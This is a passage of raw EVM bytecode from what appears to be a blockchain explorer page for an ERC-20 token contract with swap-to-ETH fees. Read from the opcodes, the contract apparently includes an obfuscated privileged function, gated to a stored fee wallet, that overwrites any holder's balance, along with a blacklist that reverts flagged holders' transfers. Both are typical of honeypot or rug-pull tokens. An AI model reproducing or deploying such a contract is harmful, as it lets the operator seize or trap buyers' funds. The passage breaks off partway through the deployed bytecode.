565b005b3480156109ae57600080fd5b506109c960048036038101906109c49190612a74565b61168d565b005b6060600180546109da9061311a565b80601f0160208091040260200160405190810160405280929190818152602001828054610a069061311a565b8015610a535780601f10610a2857610100808354040283529160200191610a53565b820191906000526020600020905b815481529060010190602001808311610a3657829003601f168201915b5050505050905090565b6000610a71610a6a6117af565b84846117b7565b6001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601354905090565b6000610ade848484611982565b50610ba084610aeb6117af565b610b9b856040518060600160405280602881526020016134cd60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b516117af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d919092919063ffffffff16565b6117b7565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000000081565b6000610c0e610bfd7f0000000000000000000000000000000000000000000000000000000000000000610dfa565b601354611df590919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b6000610cf3610c576117af565b84610cee8560066000610c686117af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175190919063ffffffff16565b6117b7565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b601660159054906101000a900460ff1681565b600e5481565b610d3e6117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc290612dde565b60405180910390fd5b81600c8190555080600d81905550610df0600d54600c5461175190919063ffffffff16565b6011819055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e4b6117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecf90612dde565b60405180910390fd5b60005b83839050811015610f77578160076000868685818110610efe57610efd613222565b5b9050602002016020810190610f13919061285a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f6f9061314c565b915050610edb565b50505050565b60115481565b610f8b61141a565b60005b8282905081101561102a578360096000858585818110610fb157610fb0613222565b5b9050602002016020810190610fc6919061285a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806110229061314c565b915050610f8e565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606002805461108e9061311a565b80601f01602080910402602001604051908101604052809291908181526020018280546110ba9061311a565b80156111075780601f106110dc57610100808354040283529160200191611107565b820191906000526020600020905b8154815290600101906020018083116110ea57829003601f168201915b5050505050905090565b6000601454905090565b60125481565b60006111e461112e6117af565b846111df856040518060600160405280602581526020016134f560259139600660006111586117af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d919092919063ffffffff16565b6117b7565b6001905092915050565b600f5481565b60006112086112016117af565b8484611982565b506001905092915050565b61121b61141a565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546002600184600161126e9190612f23565b6112789190612f23565b6112829190613004565b61128c9190612f23565b905060008060018360016112a09190612f23565b6112aa9190613004565b6112b49190613004565b9050600181600060016112c79190612f23565b6112d19190612f23565b6112db9190613004565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b600b5481565b6113326117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612dde565b60405180910390fd5b80601660156101000a81548160ff02191690831515021790555050565b600a5481565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5481565b600d5481565b60145481565b60011561148c576000806114825750600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661146a6117af565b73ffffffffffffffffffffffffffffffffffffffff16145b61148b57600080fd5b5b565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60096020528060005260406000206000915054906101000a900460ff1681565b60105481565b6115436117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146115d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115c790612dde565b60405180910390fd5b806000806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350565b6116956117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611722576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161171990612dde565b60405180910390fd5b81600a8190555080600b81905550611747600b54600a5461175190919063ffffffff16565b6010819055505050565b60008082846117609190612f23565b9050838110156117a5576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161179c90612d9e565b60405180910390fd5b8091505092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611827576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161181e90612e1e565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611897576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188e90612d7e565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925836040516119759190612e3e565b60405180910390a3505050565b60008073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614156119f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119ea90612dfe565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611a63576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611a5a90612d5e565b60405180910390fd5b601660149054906101000a900460ff1615611a8a57611a83848484611e3f565b9050611d8a565b6000611a9530610dfa565b905060006014548210159050808015611abb5750601660149054906101000a900460ff16155b8015611b115750600860008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b8015611b295750601660159054906101000a900460ff165b15611b3857611b3782612012565b5b611b8a84600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611df590919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600760008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611c705750600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b611c8457611c7f878787612118565b611c86565b845b9050611cda81600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175190919063ffffffff16565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef83604051611d7a9190612e3e565b60405180910390a3600193505050505b9392505050565b6000838311158290611dd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611dd09190612d3c565b60405180910390fd5b5060008385611de89190613004565b9050809150509392505050565b6000611e3783836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611d91565b905092915050565b6000611eca826040518060400160405280601481526020017f496e73756666696369656e742042616c616e6365000000000000000000000000815250600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d919092919063ffffffff16565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550611f5f82600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175190919063ffffffff16565b600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611fff9190612e3e565b60405180910390a3600190509392505050565b6001601660146101000a81548160ff021916908315150217905550600081905061203b816123e8565b600047905060006012549050600061207082612062600f548661263d90919063ffffffff16565b6126b890919063ffffffff16565b905060006120878285611df590919063ffffffff16565b905060008111156120bf576120be600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1682612702565b5b60008211156120f5576120f4600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1683612702565b5b50505050506000601660146101000a81548160ff02191690831515021790555050565b60008060009050600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff166121c857600960008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156121c757600080fd5b5b600860008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156122495761224260646122346010548661263d90919063ffffffff16565b6126b890919063ffffffff16565b90506122c7565b600860008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16156122c6576122c360646122b56011548661263d90919063ffffffff16565b6126b890919063ffffffff16565b90505b5b60008111156123cb5761232281600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175190919063ffffffff16565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516123c29190612e3e565b60405180910390a35b6123de8184611df590919063ffffffff16565b9150509392505050565b6000600267ffffffffffffffff81111561240557612404613251565b5b6040519080825280602002602001820160405280156124335781602001602082028036833780820191505090505b509050308160008151811061244b5761244a613222565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b1580156124ed57600080fd5b505afa158015612501573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906125259190612887565b8160018151811061253957612538613222565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506125a030601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846117b7565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612604959493929190612e59565b600060405180830381600087803b15801561261e57600080fd5b505af192505050801561262f575060015b61263857612639565b5b5050565b60008083141561265057600090506126b2565b6000828461265e9190612faa565b905082848261266d9190612f79565b146126ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016126a490612dbe565b60405180910390fd5b809150505b92915050565b60006126fa83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061274d565b905092915050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f19350505050158015612748573d6000803e3d6000fd5b505050565b60008083118290612794576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161278b9190612d3c565b60405180910390fd5b50600083856127a39190612f79565b9050809150509392505050565b6000813590506127bf81613487565b92915050565b6000815190506127d481613487565b92915050565b60008083601f8401126127f0576127ef613285565b5b8235905067ffffffffffffffff81111561280d5761280c613280565b5b6020830191508360208202830111156128295761282861328a565b5b9250929050565b60008135905061283f8161349e565b92915050565b600081359050612854816134b5565b92915050565b6000602082840312156128705761286f613294565b5b600061287e848285016127b0565b91505092915050565b60006020828403121561289d5761289c613294565b5b60006128ab848285016127c5565b91505092915050565b600080604083850312156128cb576128ca613294565b5b60006128d9858286016127b0565b92505060206128ea858286016127b0565b9150509250929050565b60008060006060848603121561290d5761290c613294565b5b600061291b868287016127b0565b935050602061292c868287016127b0565b925050604061293d86828701612845565b9150509250925092565b6000806040838503121561295e5761295d613294565b5b600061296c858286016127b0565b925050602061297d85828601612845565b9150509250929050565b6000806000604084860312156129a05761299f613294565b5b600084013567ffffffffffffffff8111156129be576129bd61328f565b5b6129ca868287016127da565b935093505060206129dd86828701612830565b9150509250925092565b6000602082840312156129fd576129fc613294565b5b6000612a0b84828501612830565b91505092915050565b600080600060408486031215612a2d57612a2c613294565b5b6000612a3b86828701612830565b935050602084013567ffffffffffffffff811115612a5c57612a5b61328f565b5b612a68868287016127da565b92509250509250925092565b60008060408385031215612a8b57612a8a613294565b5b6000612a9985828601612845565b9250506020612aaa85828601612845565b9150509250929050565b6000612ac08383612adb565b60208301905092915050565b612ad58161304a565b82525050565b612ae481613038565b82525050565b612af381613038565b82525050565b6000612b0482612ede565b612b0e8185612f01565b9350612b1983612ece565b8060005b83811015612b4a578151612b318882612ab4565b9750612b3c83612ef4565b925050600181019050612b1d565b5085935050505092915050565b612b608161305c565b82525050565b612b6f8161309f565b82525050565b612b7e816130b1565b82525050565b6000612b8f82612ee9565b612b998185612f12565b9350612ba98185602086016130e7565b612bb281613299565b840191505092915050565b6000612bca602383612f12565b9150612bd5826132aa565b604082019050919050565b6000612bed602283612f12565b9150612bf8826132f9565b604082019050919050565b6000612c10601b83612f12565b9150612c1b82613348565b602082019050919050565b6000612c33602183612f12565b9150612c3e82613371565b604082019050919050565b6000612c56602083612f12565b9150612c61826133c0565b602082019050919050565b6000612c79602583612f12565b9150612c84826133e9565b604082019050919050565b6000612c9c602483612f12565b9150612ca782613438565b604082019050919050565b612cbb81613088565b82525050565b612cca81613092565b82525050565b6000602082019050612ce56000830184612aea565b92915050565b6000602082019050612d006000830184612acc565b92915050565b6000602082019050612d1b6000830184612b57565b92915050565b6000602082019050612d366000830184612b66565b92915050565b60006020820190508181036000830152612d568184612b84565b905092915050565b60006020820190508181036000830152612d7781612bbd565b9050919050565b60006020820190508181036000830152612d9781612be0565b9050919050565b60006020820190508181036000830152612db781612c03565b9050919050565b60006020820190508181036000830152612dd781612c26565b9050919050565b60006020820190508181036000830152612df781612c49565b9050919050565b60006020820190508181036000830152612e1781612c6c565b9050919050565b60006020820190508181036000830152612e3781612c8f565b9050919050565b6000602082019050612e536000830184612cb2565b92915050565b600060a082019050612e6e6000830188612cb2565b612e7b6020830187612b75565b8181036040830152612e8d8186612af9565b9050612e9c6060830185612aea565b612ea96080830184612cb2565b9695505050505050565b6000602082019050612ec86000830184612cc1565b92915050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b6000612f2e82613088565b9150612f3983613088565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115612f6e57612f6d613195565b5b828201905092915050565b6000612f8482613088565b9150612f8f83613088565b925082612f9f57612f9e6131c4565b5b828204905092915050565b6000612fb582613088565b9150612fc083613088565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612ff957612ff8613195565b5b828202905092915050565b600061300f82613088565b915061301a83613088565b92508282101561302d5761302c613195565b5b828203905092915050565b600061304382613068565b9050919050565b600061305582613068565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006130aa826130c3565b9050919050565b60006130bc82613088565b9050919050565b60006130ce826130d5565b9050919050565b60006130e082613068565b9050919050565b60005b838110156131055780820151818401526020810190506130ea565b83811115613114576000848401525b50505050565b6000600282049050600182168061313257607f821691505b60208210811415613146576131456131f3565b5b50919050565b600061315782613088565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff82141561318a57613189613195565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b61349081613038565b811461349b57600080fd5b50565b6134a78161305c565b81146134b257600080fd5b50565b6134be81613088565b81146134c957600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636545524332303a2064656372656173656420616c6c6f77616e63652062656c6f77207a65726fa2646970667358221220fabf32e7aa6057877b52e193308ced2507d5a5f3e10791f002e6db13fad3108464736f6c63430008070033

Deployed Bytecode

0x60806040526004361061024a5760003560e01c806394aa198c11610139578063c5d24189116100b6578063d5d249a91161007a578063d5d249a9146108bd578063dd62ed3e146108d4578063e3b376d114610911578063f0cd1dac1461094e578063f2fde38b14610979578063fb0ecfa4146109a257610251565b8063c5d24189146107e6578063c816841b14610811578063c86079521461083c578063cab0347114610867578063d2d7ad831461089257610251565b8063a83f53a7116100fd578063a83f53a714610701578063a9059cbb1461072c578063af9d7faf14610769578063c469b6dd14610792578063c49b9a80146107bd57610251565b806394aa198c1461061857806395d89b4114610643578063a073d37f1461066e578063a08e671f14610699578063a457c2d7146106c457610251565b806339509351116101c757806370a082311161018b57806370a0823114610533578063715266fe1461057057806382eefb43146105995780638304eb58146105c45780638da5cb5b146105ed57610251565b8063395093511461043a5780633ecad271146104775780634a74bb02146104b457806361a23c69146104df578063667b4bd01461050a57610251565b806323b872dd1161020e57806323b872dd1461033f57806327c8f8351461037c5780632b112e49146103a7578063313ce567146103d25780633345611e146103fd57610251565b806306fdde0314610256578063095ea7b3146102815780631245e347146102be5780631694505e146102e957806318160ddd1461031457610251565b3661025157005b600080fd5b34801561026257600080fd5b5061026b6109cb565b6040516102789190612d3c565b60405180910390f35b34801561028d57600080fd5b506102a860048036038101906102a39190612947565b610a5d565b6040516102b59190612d06565b60405180910390f35b3480156102ca57600080fd5b506102d3610a7b565b6040516102e09190612ceb565b60405180910390f35b3480156102f557600080fd5b506102fe610aa1565b60405161030b9190612d21565b60405180910390f35b34801561032057600080fd5b50610329610ac7565b6040516103369190612e3e565b60405180910390f35b34801561034b57600080fd5b50610366600480360381019061036191906128f4565b610ad1565b6040516103739190612d06565b60405180910390f35b34801561038857600080fd5b50610391610bab565b60405161039e9190612cd0565b60405180910390f35b3480156103b357600080fd5b506103bc610bcf565b6040516103c99190612e3e565b60405180910390f35b3480156103de57600080fd5b506103e7610c13565b6040516103f49190612eb3565b60405180910390f35b34801561040957600080fd5b50610424600480360381019061041f919061285a565b610c2a565b6040516104319190612d06565b60405180910390f35b34801561044657600080fd5b50610461600480360381019061045c9190612947565b610c4a565b60405161046e9190612d06565b60405180910390f35b34801561048357600080fd5b5061049e6004803603810190610499919061285a565b610cfd565b6040516104ab9190612d06565b60405180910390f35b3480156104c057600080fd5b506104c9610d1d565b6040516104d69190612d06565b60405180910390f35b3480156104eb57600080fd5b506104f4610d30565b6040516105019190612e3e565b60405180910390f35b34801561051657600080fd5b50610531600480360381019061052c9190612a74565b610d36565b005b34801561053f57600080fd5b5061055a6004803603810190610555919061285a565b610dfa565b6040516105679190612e3e565b60405180910390f35b34801561057c57600080fd5b5061059760048036038101906105929190612987565b610e43565b005b3480156105a557600080fd5b506105ae610f7d565b6040516105bb9190612e3e565b60405180910390f35b3480156105d057600080fd5b506105eb60048036038101906105e69190612a14565b610f83565b005b3480156105f957600080fd5b50610602611030565b60405161060f9190612cd0565b60405180910390f35b34801561062457600080fd5b5061062d611059565b60405161063a9190612ceb565b60405180910390f35b34801561064f57600080fd5b5061065861107f565b6040516106659190612d3c565b60405180910390f35b34801561067a57600080fd5b50610683611111565b6040516106909190612e3e565b60405180910390f35b3480156106a557600080fd5b506106ae61111b565b6040516106bb9190612e3e565b60405180910390f35b3480156106d057600080fd5b506106eb60048036038101906106e69190612947565b611121565b6040516106f89190612d06565b60405180910390f35b34801561070d57600080fd5b506107166111ee565b6040516107239190612e3e565b60405180910390f35b34801561073857600080fd5b50610753600480360381019061074e9190612947565b6111f4565b6040516107609190612d06565b60405180910390f35b34801561077557600080fd5b50610790600480360381019061078b9190612947565b611213565b005b34801561079e57600080fd5b506107a7611324565b6040516107b49190612e3e565b60405180910390f35b3480156107c957600080fd5b506107e460048036038101906107df91906129e7565b61132a565b005b3480156107f257600080fd5b506107fb6113dc565b6040516108089190612e3e565b60405180910390f35b34801561081d57600080fd5b506108266113e2565b6040516108339190612cd0565b60405180910390f35b34801561084857600080fd5b50610851611408565b60405161085e9190612e3e565b60405180910390f35b34801561087357600080fd5b5061087c61140e565b6040516108899190612e3e565b60405180910390f35b34801561089e57600080fd5b506108a7611414565b6040516108b49190612e3e565b60405180910390f35b3480156108c957600080fd5b506108d261141a565b005b3480156108e057600080fd5b506108fb60048036038101906108f691906128b4565b61148e565b6040516109089190612e3e565b60405180910390f35b34801561091d57600080fd5b506109386004803603810190610933919061285a565b611515565b6040516109459190612d06565b60405180910390f35b34801561095a57600080fd5b50610963611535565b6040516109709190612e3e565b60405180910390f35b34801561098557600080fd5b506109a0600480360381019061099b919061285a565b61153b565b005b3480156109ae57600080fd5b506109c960048036038101906109c49190612a74565b61168d565b005b6060600180546109da9061311a565b80601f0160208091040260200160405190810160405280929190818152602001828054610a069061311a565b8015610a535780601f10610a2857610100808354040283529160200191610a53565b820191906000526020600020905b815481529060010190602001808311610a3657829003601f168201915b5050505050905090565b6000610a71610a6a6117af565b84846117b7565b6001905092915050565b600460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000601354905090565b6000610ade848484611982565b50610ba084610aeb6117af565b610b9b856040518060600160405280602881526020016134cd60289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610b516117af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d919092919063ffffffff16565b6117b7565b600190509392505050565b7f000000000000000000000000000000000000000000000000000000000000dead81565b6000610c0e610bfd7f000000000000000000000000000000000000000000000000000000000000dead610dfa565b601354611df590919063ffffffff16565b905090565b6000600360009054906101000a900460ff16905090565b60076020528060005260406000206000915054906101000a900460ff1681565b6000610cf3610c576117af565b84610cee8560066000610c686117af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461175190919063ffffffff16565b6117b7565b6001905092915050565b60086020528060005260406000206000915054906101000a900460ff1681565b601660159054906101000a900460ff1681565b600e5481565b610d3e6117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610dcb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dc290612dde565b60405180910390fd5b81600c8190555080600d81905550610df0600d54600c5461175190919063ffffffff16565b6011819055505050565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e4b6117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610ed8576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ecf90612dde565b60405180910390fd5b60005b83839050811015610f77578160076000868685818110610efe57610efd613222565b5b9050602002016020810190610f13919061285a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610f6f9061314c565b915050610edb565b50505050565b60115481565b610f8b61141a565b60005b8282905081101561102a578360096000858585818110610fb157610fb0613222565b5b9050602002016020810190610fc6919061285a565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555080806110229061314c565b915050610f8e565b50505050565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606002805461108e9061311a565b80601f01602080910402602001604051908101604052809291908181526020018280546110ba9061311a565b80156111075780601f106110dc57610100808354040283529160200191611107565b820191906000526020600020905b8154815290600101906020018083116110ea57829003601f168201915b5050505050905090565b6000601454905090565b60125481565b60006111e461112e6117af565b846111df856040518060600160405280602581526020016134f560259139600660006111586117af565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d919092919063ffffffff16565b6117b7565b6001905092915050565b600f5481565b60006112086112016117af565b8484611982565b506001905092915050565b61121b61141a565b6000600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546002600184600161126e9190612f23565b6112789190612f23565b6112829190613004565b61128c9190612f23565b905060008060018360016112a09190612f23565b6112aa9190613004565b6112b49190613004565b9050600181600060016112c79190612f23565b6112d19190612f23565b6112db9190613004565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555050505050565b600b5481565b6113326117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146113bf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b690612dde565b60405180910390fd5b80601660156101000a81548160ff02191690831515021790555050565b600a5481565b601660009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600c5481565b600d5481565b60145481565b60011561148c576000806114825750600360019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661146a6117af565b73ffffffffffffffffffffffffffffffffffffffff16145b61148b57600080fd5b5b565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b60096020528060005260406000206000915054906101000a900460ff1681565b60105481565b6115436117af565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673